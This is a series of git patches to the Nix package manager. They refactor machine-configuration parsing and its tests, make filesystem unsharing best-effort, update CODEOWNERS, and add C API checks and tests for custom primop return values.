-580,7 +580,12 @@ struct curlFileTransfer : public FileTransfer #endif #if __linux__ - unshareFilesystem(); + try { + unshareFilesystem(); + } catch (nix::Error & e) { + e.addTrace({}, "in download thread"); + throw; + } #endif std::map> items; diff --git a/src/libutil/linux/namespaces.cc b/src/libutil/linux/namespaces.cc index f8289ef39..cb7a0d6e7 100644 --- a/src/libutil/linux/namespaces.cc +++ b/src/libutil/linux/namespaces.cc @@ -140,7 +140,7 @@ void restoreMountNamespace() void unshareFilesystem() { if (unshare(CLONE_FS) != 0 && errno != EPERM) - throw SysError("unsharing filesystem state in download thread"); + throw SysError("unsharing filesystem state"); } } From dc7615dbbb38bd949e3aa2198ca7e3a12c09db8f Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 22 May 2024 16:04:40 -0400 Subject: [PATCH 0647/1251] `tryUnshareFilesystem`: Ignore `ENOSYS` too Fixes #10747 --- src/libstore/filetransfer.cc | 2 +- src/libutil/linux/namespaces.cc | 4 ++-- src/libutil/linux/namespaces.hh | 6 ++++-- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index e28dd43ec..a54ebdcf3 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ -581,7 +581,7 @@ struct curlFileTransfer : public FileTransfer #if __linux__ try { - unshareFilesystem(); + tryUnshareFilesystem(); } catch (nix::Error & e) { e.addTrace({}, "in download thread"); throw; diff --git a/src/libutil/linux/namespaces.cc b/src/libutil/linux/namespaces.cc index cb7a0d6e7..d4766cbba 100644 --- a/src/libutil/linux/namespaces.cc +++ b/src/libutil/linux/namespaces.cc @@ -137,9 +137,9 @@ void restoreMountNamespace() } } -void unshareFilesystem() +void tryUnshareFilesystem() { - if (unshare(CLONE_FS) != 0 && errno != EPERM) + if (unshare(CLONE_FS) != 0 && errno != EPERM && errno != ENOSYS) throw SysError("unsharing filesystem state"); } diff --git a/src/libutil/linux/namespaces.hh b/src/libutil/linux/namespaces.hh index ef3c9123f..208920b80 100644 --- a/src/libutil/linux/namespaces.hh +++ b/src/libutil/linux/namespaces.hh @@ -20,11 +20,13 @@ void saveMountNamespace(); void restoreMountNamespace(); /** - * Cause this thread to not share any FS attributes with the main + * Cause this thread to try to not share any FS attributes with the main * thread, because this causes setns() in restoreMountNamespace() to * fail. + * + * This is best effort -- EPERM and ENOSYS failures are just ignored. */ -void unshareFilesystem(); +void tryUnshareFilesystem(); bool userNamespacesSupported(); From 5845fd59c34198ad52a7f7bcb6d3ea7176ca437b Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Thu, 23 May 2024 01:24:15 +0200 Subject: [PATCH 0648/1251] CODEOWNERS: add fricklerhandwerk for documentation (#10759) --- .github/CODEOWNERS | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 59db217d9..99ca670e0 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -11,7 +11,16 @@ .github/CODEOWNERS @edolstra # Documentation of built-in functions -src/libexpr/primops.cc @roberth +src/libexpr/primops.cc @roberth @fricklerhandwerk + +# Documentation of settings +src/libexpr/eval-settings.hh @fricklerhandwerk +src/libstore/globals.hh @fricklerhandwerk + +# Documentation +doc/manual @fricklerhandwerk +maintainers/*.md @fricklerhandwerk +src/**/*.md @fricklerhandwerk # Libstore layer /src/libstore @thufschmitt @ericson2314 From f2bcebc4503c72ba8ad0406058db31a4f883ad0b Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 22 May 2024 23:12:23 -0400 Subject: [PATCH 0649/1251] Restore exposing machine file parsing This was accidentally removed in e989c83b44d7c4d8ffe2e5f4231e4861c5f7732f. I restored it and also did a few other cleanups: - Make a static method for namespacing purposes - Put the test files in the data dir with the other test data - Avoid mutating globals in the machine config tests This will be used by Hydra. --- src/libstore/machines.cc | 19 ++-- src/libstore/machines.hh | 22 ++++- .../machines/bad_format} | 0 .../machines.valid => data/machines/valid} | 0 tests/unit/libstore/machines.cc | 88 ++++++++----------- .../libutil-support/tests/characterization.hh | 4 +- 6 files changed, 72 insertions(+), 61 deletions(-) rename tests/unit/libstore/{test-data/machines.bad_format => data/machines/bad_format} (100%) rename tests/unit/libstore/{test-data/machines.valid => data/machines/valid} (100%) diff --git a/src/libstore/machines.cc b/src/libstore/machines.cc index 644762242..b4df658b1 100644 --- a/src/libstore/machines.cc +++ b/src/libstore/machines.cc @@ -131,7 +131,7 @@ static std::vector expandBuilderLines(const std::string & builders) return result; } -static Machine parseBuilderLine(const std::string & line) +static Machine parseBuilderLine(const std::set & defaultSystems, const std::string & line) { const auto tokens = tokenizeString>(line); @@ -170,7 +170,7 @@ static Machine parseBuilderLine(const std::string & line) return { tokens[0], - isSet(1) ? tokenizeString>(tokens[1], ",") : std::set{settings.thisSystem}, + isSet(1) ? tokenizeString>(tokens[1], ",") : defaultSystems, isSet(2) ? tokens[2] : "", isSet(3) ? parseUnsignedIntField(3) : 1U, isSet(4) ? parseFloatField(4) : 1.0f, @@ -180,17 +180,24 @@ static Machine parseBuilderLine(const std::string & line) }; } -static Machines parseBuilderLines(const std::vector & builders) +static Machines parseBuilderLines(const std::set & defaultSystems, const std::vector & builders) { Machines result; - std::transform(builders.begin(), builders.end(), std::back_inserter(result), parseBuilderLine); + std::transform( + builders.begin(), builders.end(), std::back_inserter(result), + [&](auto && line) { return parseBuilderLine(defaultSystems, line); }); return result; } +Machines Machine::parseConfig(const std::set & defaultSystems, const std::string & s) +{ + const auto builderLines = expandBuilderLines(s); + return parseBuilderLines(defaultSystems, builderLines); +} + Machines getMachines() { - const auto builderLines = expandBuilderLines(settings.builders); - return parseBuilderLines(builderLines); + return Machine::parseConfig({settings.thisSystem}, settings.builders); } } diff --git a/src/libstore/machines.hh b/src/libstore/machines.hh index 97980df8d..2a55c4456 100644 --- a/src/libstore/machines.hh +++ b/src/libstore/machines.hh @@ -8,6 +8,10 @@ namespace nix { class Store; +struct Machine; + +typedef std::vector Machines; + struct Machine { const StoreReference storeUri; @@ -63,12 +67,22 @@ struct Machine { * ``` */ ref openStore() const; + + /** + * Parse a machine configuration. + * + * Every machine is specified on its own line, and lines beginning + * with `@` are interpreted as paths to other configuration files in + * the same format. + */ + static Machines parseConfig(const std::set & defaultSystems, const std::string & config); }; -typedef std::vector Machines; - -void parseMachines(const std::string & s, Machines & machines); - +/** + * Parse machines from the global config + * + * @todo Remove, globals are bad. + */ Machines getMachines(); } diff --git a/tests/unit/libstore/test-data/machines.bad_format b/tests/unit/libstore/data/machines/bad_format similarity index 100% rename from tests/unit/libstore/test-data/machines.bad_format rename to tests/unit/libstore/data/machines/bad_format diff --git a/tests/unit/libstore/test-data/machines.valid b/tests/unit/libstore/data/machines/valid similarity index 100% rename from tests/unit/libstore/test-data/machines.valid rename to tests/unit/libstore/data/machines/valid diff --git a/tests/unit/libstore/machines.cc b/tests/unit/libstore/machines.cc index 4107ba655..2307f4d62 100644 --- a/tests/unit/libstore/machines.cc +++ b/tests/unit/libstore/machines.cc @@ -1,8 +1,9 @@ #include "machines.hh" -#include "globals.hh" #include "file-system.hh" #include "util.hh" +#include "tests/characterization.hh" + #include #include @@ -14,23 +15,13 @@ using testing::SizeIs; using namespace nix; -class Environment : public ::testing::Environment { - public: - void SetUp() override { settings.thisSystem = "TEST_ARCH-TEST_OS"; } -}; - -testing::Environment* const foo_env = - testing::AddGlobalTestEnvironment(new Environment); - TEST(machines, getMachinesWithEmptyBuilders) { - settings.builders = ""; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, ""); ASSERT_THAT(actual, SizeIs(0)); } TEST(machines, getMachinesUriOnly) { - settings.builders = "nix@scratchy.labs.cs.uu.nl"; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({"TEST_ARCH-TEST_OS"}, "nix@scratchy.labs.cs.uu.nl"); ASSERT_THAT(actual, SizeIs(1)); EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("TEST_ARCH-TEST_OS"))); @@ -43,8 +34,7 @@ TEST(machines, getMachinesUriOnly) { } TEST(machines, getMachinesDefaults) { - settings.builders = "nix@scratchy.labs.cs.uu.nl - - - - - - -"; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({"TEST_ARCH-TEST_OS"}, "nix@scratchy.labs.cs.uu.nl - - - - - - -"); ASSERT_THAT(actual, SizeIs(1)); EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("TEST_ARCH-TEST_OS"))); @@ -68,26 +58,24 @@ MATCHER_P(AuthorityMatches, authority, "") { } TEST(machines, getMachinesWithNewLineSeparator) { - settings.builders = "nix@scratchy.labs.cs.uu.nl\nnix@itchy.labs.cs.uu.nl"; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl\nnix@itchy.labs.cs.uu.nl"); ASSERT_THAT(actual, SizeIs(2)); EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); } TEST(machines, getMachinesWithSemicolonSeparator) { - settings.builders = "nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl"; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl"); EXPECT_THAT(actual, SizeIs(2)); EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); } TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) { - settings.builders = "nix@scratchy.labs.cs.uu.nl i686-linux " - "/home/nix/.ssh/id_scratchy_auto 8 3 kvm " - "benchmark SSH+HOST+PUBLIC+KEY+BASE64+ENCODED=="; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, + "nix@scratchy.labs.cs.uu.nl i686-linux " + "/home/nix/.ssh/id_scratchy_auto 8 3 kvm " + "benchmark SSH+HOST+PUBLIC+KEY+BASE64+ENCODED=="); ASSERT_THAT(actual, SizeIs(1)); EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("i686-linux"))); @@ -101,11 +89,10 @@ TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) { TEST(machines, getMachinesWithCorrectCompleteSingleBuilderWithTabColumnDelimiter) { - settings.builders = + auto actual = Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl\ti686-linux\t/home/nix/.ssh/" "id_scratchy_auto\t8\t3\tkvm\tbenchmark\tSSH+HOST+PUBLIC+" - "KEY+BASE64+ENCODED=="; - Machines actual = getMachines(); + "KEY+BASE64+ENCODED=="); ASSERT_THAT(actual, SizeIs(1)); EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("i686-linux"))); @@ -118,10 +105,10 @@ TEST(machines, } TEST(machines, getMachinesWithMultiOptions) { - settings.builders = "nix@scratchy.labs.cs.uu.nl Arch1,Arch2 - - - " - "SupportedFeature1,SupportedFeature2 " - "MandatoryFeature1,MandatoryFeature2"; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, + "nix@scratchy.labs.cs.uu.nl Arch1,Arch2 - - - " + "SupportedFeature1,SupportedFeature2 " + "MandatoryFeature1,MandatoryFeature2"); ASSERT_THAT(actual, SizeIs(1)); EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("Arch1", "Arch2"))); @@ -130,24 +117,28 @@ TEST(machines, getMachinesWithMultiOptions) { } TEST(machines, getMachinesWithIncorrectFormat) { - settings.builders = "nix@scratchy.labs.cs.uu.nl - - eight"; - EXPECT_THROW(getMachines(), FormatError); - settings.builders = "nix@scratchy.labs.cs.uu.nl - - -1"; - EXPECT_THROW(getMachines(), FormatError); - settings.builders = "nix@scratchy.labs.cs.uu.nl - - 8 three"; - EXPECT_THROW(getMachines(), FormatError); - settings.builders = "nix@scratchy.labs.cs.uu.nl - - 8 -3"; - EXPECT_THROW(getMachines(), UsageError); - settings.builders = "nix@scratchy.labs.cs.uu.nl - - 8 3 - - BAD_BASE64"; - EXPECT_THROW(getMachines(), FormatError); + EXPECT_THROW( + Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - eight"), + FormatError); + EXPECT_THROW( + Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - -1"), + FormatError); + EXPECT_THROW( + Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 three"), + FormatError); + EXPECT_THROW( + Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 -3"), + UsageError); + EXPECT_THROW( + Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 3 - - BAD_BASE64"), + FormatError); } TEST(machines, getMachinesWithCorrectFileReference) { - auto path = absPath("tests/unit/libstore/test-data/machines.valid"); + auto path = absPath(getUnitTestData() + "/machines/valid"); ASSERT_TRUE(pathExists(path)); - settings.builders = std::string("@") + path; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, "@" + path); ASSERT_THAT(actual, SizeIs(3)); EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); @@ -158,18 +149,17 @@ TEST(machines, getMachinesWithCorrectFileReferenceToEmptyFile) { auto path = "/dev/null"; ASSERT_TRUE(pathExists(path)); - settings.builders = std::string("@") + path; - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, std::string{"@"} + path); ASSERT_THAT(actual, SizeIs(0)); } TEST(machines, getMachinesWithIncorrectFileReference) { - settings.builders = std::string("@") + absPath("/not/a/file"); - Machines actual = getMachines(); + auto actual = Machine::parseConfig({}, "@" + absPath("/not/a/file")); ASSERT_THAT(actual, SizeIs(0)); } TEST(machines, getMachinesWithCorrectFileReferenceToIncorrectFile) { - settings.builders = std::string("@") + absPath("tests/unit/libstore/test-data/machines.bad_format"); - EXPECT_THROW(getMachines(), FormatError); + EXPECT_THROW( + Machine::parseConfig({}, "@" + absPath(getUnitTestData() + "/machines/bad_format")), + FormatError); } diff --git a/tests/unit/libutil-support/tests/characterization.hh b/tests/unit/libutil-support/tests/characterization.hh index 9d6c850f0..c2f686dbf 100644 --- a/tests/unit/libutil-support/tests/characterization.hh +++ b/tests/unit/libutil-support/tests/characterization.hh @@ -12,7 +12,7 @@ namespace nix { * The path to the unit test data directory. See the contributing guide * in the manual for further details. */ -static Path getUnitTestData() { +static inline Path getUnitTestData() { return getEnv("_NIX_TEST_UNIT_DATA").value(); } @@ -21,7 +21,7 @@ static Path getUnitTestData() { * against them. See the contributing guide in the manual for further * details. */ -static bool testAccept() { +static inline bool testAccept() { return getEnv("_NIX_TEST_ACCEPT") == "1"; } From 5f68e6d69fe734565cf64705d93a99546a88f97c Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Thu, 23 May 2024 03:54:35 -0700 Subject: [PATCH 0650/1251] Get max stack size in `setStackSize` to match Linux --- src/libutil/current-process.cc | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index db3111560..9efb68d47 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -82,19 +82,23 @@ void setStackSize(size_t stackSize) } } #else + ULONG_PTR stackLow, stackHigh; + GetCurrentThreadStackLimits(&stackLow, &stackHigh); + ULONG maxStackSize = stackHigh - stackLow; ULONG currStackSize = 0; // This retrieves the current promised stack size SetThreadStackGuarantee(&currStackSize); if (currStackSize < stackSize) { savedStackSize = currStackSize; - ULONG newStackSize = stackSize; + ULONG newStackSize = std::min(static_cast(stackSize), maxStackSize); if (SetThreadStackGuarantee(&newStackSize) == 0) { logger->log( lvlError, HintFmt( - "Failed to increase stack size from %1% to %2%: %3%", + "Failed to increase stack size from %1% to %2% (maximum allowed stack size: %3%): %4%", savedStackSize, stackSize, + maxStackSize, std::to_string(GetLastError()) ).str() ); From 5384ceacc3fa2609d5b64ee005dee554656f8836 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 23 May 2024 11:28:25 -0400 Subject: [PATCH 0651/1251] Document field being initialized in `Machine` constructor --- src/libstore/machines.cc | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/libstore/machines.cc b/src/libstore/machines.cc index b4df658b1..20f24e883 100644 --- a/src/libstore/machines.cc +++ b/src/libstore/machines.cc @@ -168,14 +168,24 @@ static Machine parseBuilderLine(const std::set & defaultSystems, co if (!isSet(0)) throw FormatError("bad machine specification: store URL was not found at the first column of a row: '%s'", line); + // TODO use designated initializers, once C++ supports those with + // custom constructors. return { + // `storeUri` tokens[0], + // `systemTypes` isSet(1) ? tokenizeString>(tokens[1], ",") : defaultSystems, + // `sshKey` isSet(2) ? tokens[2] : "", + // `maxJobs` isSet(3) ? parseUnsignedIntField(3) : 1U, + // `speedFactor` isSet(4) ? parseFloatField(4) : 1.0f, + // `supportedFeatures` isSet(5) ? tokenizeString>(tokens[5], ",") : std::set{}, + // `mandatoryFeatures` isSet(6) ? tokenizeString>(tokens[6], ",") : std::set{}, + // `sshPublicHostKey` isSet(7) ? ensureBase64(7) : "" }; } From a942a34469b22491d381a517e86a17f3999a140a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 23 May 2024 18:07:33 +0200 Subject: [PATCH 0652/1251] C API: Fix nix_c_primop_wrapper for strict initializers https://github.com/NixOS/nix/pull/10555 added a check requiring that output parameters always have an uninitialized Value as argument. Unfortunately the output parameter of the primop callback received a thunk instead. See the comment for implementation considerations. --- src/libexpr-c/nix_api_value.cc | 24 +++++++++++++++++--- tests/unit/libexpr/nix_api_expr.cc | 35 ++++++++++++++++++++++++++++++ 2 files changed, 56 insertions(+), 3 deletions(-) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 0366e5020..37e0012d1 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -73,10 +73,28 @@ static void nix_c_primop_wrapper( PrimOpFun f, void * userdata, nix::EvalState & state, const nix::PosIdx pos, nix::Value ** args, nix::Value & v) { nix_c_context ctx; - f(userdata, &ctx, (EvalState *) &state, (Value **) args, (Value *) &v); - /* TODO: In the future, this should throw different errors depending on the error code */ - if (ctx.last_err_code != NIX_OK) + + // v currently has a thunk, but the C API initializers require an uninitialized value. + // + // We can't destroy the thunk, because that makes it impossible to retry, + // which is needed for tryEval and for evaluation drivers that evaluate more + // than one value (e.g. an attrset with two derivations, both of which + // reference v). + // + // Instead we create a temporary value, and then assign the result to v. + // This does not give the primop definition access to the thunk, but that's + // ok because we don't see a need for this yet (e.g. inspecting thunks, + // or maybe something to make blackholes work better; we don't know). + nix::Value vTmp; + + f(userdata, &ctx, (EvalState *) &state, (Value **) args, (Value *) &vTmp); + + if (ctx.last_err_code != NIX_OK) { + /* TODO: Throw different errors depending on the error code */ state.error("Error from builtin function: %s", *ctx.last_err).atPos(pos).debugThrow(); + } + + v = vTmp; } PrimOp * nix_alloc_primop( diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 0818f1cab..babc8c6a4 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -191,4 +191,39 @@ TEST_F(nix_api_expr_test, nix_expr_realise_context) nix_realised_string_free(r); } +const char * SAMPLE_USER_DATA = "whatever"; + +static void primop_square(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret) +{ + assert(context); + assert(state); + assert(user_data == SAMPLE_USER_DATA); + auto i = nix_get_int(context, args[0]); + nix_init_int(context, ret, i * i); +} + +TEST_F(nix_api_expr_test, nix_expr_primop) +{ + PrimOp * primop = + nix_alloc_primop(ctx, primop_square, 1, "square", nullptr, "square an integer", (void *) SAMPLE_USER_DATA); + assert_ctx_ok(); + Value * primopValue = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_primop(ctx, primopValue, primop); + assert_ctx_ok(); + + Value * three = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_int(ctx, three, 3); + assert_ctx_ok(); + + Value * result = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_value_call(ctx, state, primopValue, three, result); + assert_ctx_ok(); + + auto r = nix_get_int(ctx, result); + ASSERT_EQ(9, r); +} + } // namespace nixC From 88842270454281c3541296bea87b46d553b42c3a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 23 May 2024 18:31:20 +0200 Subject: [PATCH 0653/1251] C API: Require initialized value from primop definition --- src/libexpr-c/nix_api_value.cc | 6 ++++++ tests/unit/libexpr/nix_api_expr.cc | 31 ++++++++++++++++++++++++++++++ 2 files changed, 37 insertions(+) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 37e0012d1..043c6a568 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -94,6 +94,12 @@ static void nix_c_primop_wrapper( state.error("Error from builtin function: %s", *ctx.last_err).atPos(pos).debugThrow(); } + if (!vTmp.isValid()) { + state.error("Implementation error in custom function: return value was not initialized") + .atPos(pos) + .debugThrow(); + } + v = vTmp; } diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index babc8c6a4..9d629b463 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -226,4 +226,35 @@ TEST_F(nix_api_expr_test, nix_expr_primop) ASSERT_EQ(9, r); } +static void +primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret) +{ +} + +TEST_F(nix_api_expr_test, nix_expr_primop_bad_no_return) +{ + PrimOp * primop = + nix_alloc_primop(ctx, primop_bad_no_return, 1, "badNoReturn", nullptr, "a broken primop", nullptr); + assert_ctx_ok(); + Value * primopValue = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_primop(ctx, primopValue, primop); + assert_ctx_ok(); + + Value * three = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_int(ctx, three, 3); + assert_ctx_ok(); + + Value * result = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_value_call(ctx, state, primopValue, three, result); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_THAT( + ctx->last_err, + testing::Optional( + testing::HasSubstr("Implementation error in custom function: return value was not initialized"))); + ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badNoReturn"))); +} + } // namespace nixC From 8ef6efc1844a9782dbe265271020f6ffee571af0 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 23 May 2024 18:36:40 +0200 Subject: [PATCH 0654/1251] C API: Require non-thunk value from primop definition --- src/libexpr-c/nix_api_value.cc | 9 +++++++ tests/unit/libexpr/nix_api_expr.cc | 41 ++++++++++++++++++++++++++++++ 2 files changed, 50 insertions(+) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 043c6a568..fa24b4494 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -100,6 +100,15 @@ static void nix_c_primop_wrapper( .debugThrow(); } + if (vTmp.type() == nix::nThunk) { + // We might allow this in the future if it makes sense for the evaluator + // e.g. implementing tail recursion by returning a thunk to the next + // "iteration". Until then, this is most likely a mistake or misunderstanding. + state.error("Implementation error in custom function: return value must not be a thunk") + .atPos(pos) + .debugThrow(); + } + v = vTmp; } diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 9d629b463..e78f2bf61 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -257,4 +257,45 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_no_return) ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badNoReturn"))); } +static void +primop_bad_return_thunk(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret) +{ + nix_init_apply(context, ret, args[0], args[1]); +} +TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk) +{ + PrimOp * primop = + nix_alloc_primop(ctx, primop_bad_return_thunk, 2, "badReturnThunk", nullptr, "a broken primop", nullptr); + assert_ctx_ok(); + Value * primopValue = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_primop(ctx, primopValue, primop); + assert_ctx_ok(); + + Value * toString = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_expr_eval_from_string(ctx, state, "builtins.toString", ".", toString); + assert_ctx_ok(); + + Value * four = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_int(ctx, four, 4); + assert_ctx_ok(); + + Value * partial = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_value_call(ctx, state, primopValue, toString, partial); + assert_ctx_ok(); + + Value * result = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_value_call(ctx, state, partial, four, result); + + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_THAT( + ctx->last_err, + testing::Optional( + testing::HasSubstr("Implementation error in custom function: return value must not be a thunk"))); + ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badReturnThunk"))); +} } // namespace nixC From 4bc4fb40eac1f571ef94694a96a3bf4bf26ad22d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 23 May 2024 18:53:33 +0200 Subject: [PATCH 0655/1251] C API: builtin -> custom function Not all primops will be in `builtins`. --- src/libexpr-c/nix_api_value.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index fa24b4494..978cf7f43 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -91,7 +91,7 @@ static void nix_c_primop_wrapper( if (ctx.last_err_code != NIX_OK) { /* TODO: Throw different errors depending on the error code */ - state.error("Error from builtin function: %s", *ctx.last_err).atPos(pos).debugThrow(); + state.error("Error from custom function: %s", *ctx.last_err).atPos(pos).debugThrow(); } if (!vTmp.isValid()) { From ab106c5ca3326c939467a1334aeb78f78485503e Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 23 May 2024 19:20:04 +0200 Subject: [PATCH 0656/1251] C API: Test arity 2 primop --- tests/unit/libexpr/nix_api_expr.cc | 59 ++++++++++++++++++++++++++++++ 1 file changed, 59 insertions(+) diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index e78f2bf61..17ba610e4 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -226,6 +226,65 @@ TEST_F(nix_api_expr_test, nix_expr_primop) ASSERT_EQ(9, r); } +static void primop_repeat(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret) +{ + assert(context); + assert(state); + assert(user_data == SAMPLE_USER_DATA); + + // Get the string to repeat + std::string s; + if (nix_get_string(context, args[0], OBSERVE_STRING(s)) != NIX_OK) + return; + + // Get the number of times to repeat + auto n = nix_get_int(context, args[1]); + if (nix_err_code(context) != NIX_OK) + return; + + // Repeat the string + std::string result; + for (int i = 0; i < n; ++i) + result += s; + + nix_init_string(context, ret, result.c_str()); +} + +TEST_F(nix_api_expr_test, nix_expr_primop_arity_2) +{ + PrimOp * primop = + nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA); + assert_ctx_ok(); + Value * primopValue = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_primop(ctx, primopValue, primop); + assert_ctx_ok(); + + Value * hello = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_string(ctx, hello, "hello"); + assert_ctx_ok(); + + Value * three = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_int(ctx, three, 3); + assert_ctx_ok(); + + Value * partial = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_value_call(ctx, state, primopValue, hello, partial); + assert_ctx_ok(); + + Value * result = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_value_call(ctx, state, partial, three, result); + assert_ctx_ok(); + + std::string r; + nix_get_string(ctx, result, OBSERVE_STRING(r)); + ASSERT_STREQ("hellohellohello", r.c_str()); +} + static void primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret) { From 2497d1035182d0d9b209aee6cfcd1a2b2b2be55b Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 23 May 2024 19:55:32 +0200 Subject: [PATCH 